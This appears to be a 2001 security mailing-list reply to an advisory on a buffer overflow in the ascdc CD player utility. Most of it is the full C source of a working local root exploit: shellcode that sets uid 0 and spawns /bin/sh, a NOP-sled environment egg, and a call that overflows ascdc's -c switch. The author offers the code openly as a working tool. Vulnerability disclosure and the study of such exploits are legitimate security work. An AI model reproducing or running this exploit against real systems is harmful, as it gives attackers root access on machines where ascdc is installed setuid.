Re: ascdc Buffer Overflow Vulnerability

[The Itch]

On Thu, 8 Mar 2001 [EMAIL PROTECTED] wrote:

> TITLE:          ascdc Buffer Overflow Vulnerability
> ADVISORY ID:    WSIR-01/02-06
> DISCOVERED BY:  Christer �berg, Wkit Security AB
> CONTACT:        [EMAIL PROTECTED], Wkit Security AB
> CLASS:          Buffer Overflow
> OBJECT:         ascdc (exec)
> VENDOR:         Rob Malda (http://www.CmdrTaco.net)
> REMOTE:         No
> LOCAL:          Yes
> VULNERABLE:     ascdc-0.3
> 
> 

Attaced is a working version of the exploit for ascdc-0.3 using the -c
switch this time.

--

- The Itch
        http://bse.die.ms

/* /usr/X11R6/bin/ascdc local exploit.
 * (version: ascdc-0.3-2-i386)
 *
 * Vulnerability found by Christer �berg, Wkit Security AB 
 *
 * <cut and pasted from the advisory posted on bugtraq> 
 *
 * There are multiple buffer overflows in ascdc that can be exploited to 
 * gain root if it is installed setuid root. It is NOT installed setuid root 
 * by default but as the README says:
 * "If you intend to use the automounting feature, you must either run 
 * ascdc as root or setuid it."
 *
 * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote,
 *                    Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial
 *                    Goolie and X-wartech.
 *
 * - The Itch / BsE
 * - http://bse.die.ms
 * - irc.axenet.org 
 */
 
#include <stdio.h>
#include <stdlib.h>
 
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

/* adjust if needed, this should be suffient */
#define DEFAULT_BUFFER_SIZE 600
 
unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";  

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
 
        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }

        addr = get_sp();
 
        printf("/usr/X11R6/bin/ascdc local exploit.\n");
        printf("Coded by The Itch / BsE\n\n");
        printf("Using return address: 0x%x\n", addr);
        printf("Using buffersize    : %d\n", bsize);
 
        ptr = buff;
        addr_ptr = (long *) ptr;  
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
 
        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++) 
        { 
                *(ptr++) = NOP; 
        } 

        for(i = 0; i < strlen(shellcode); i++) 
        { 
                *(ptr++) = shellcode[i];
        }

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        putenv(egg);
        memcpy(buff, "RET=", 4);
        putenv(buff);
 
        system("/usr/X11R6/bin/ascdc -c $RET");
 
        return 0;
}      

/* remember, there's no cure for BsE */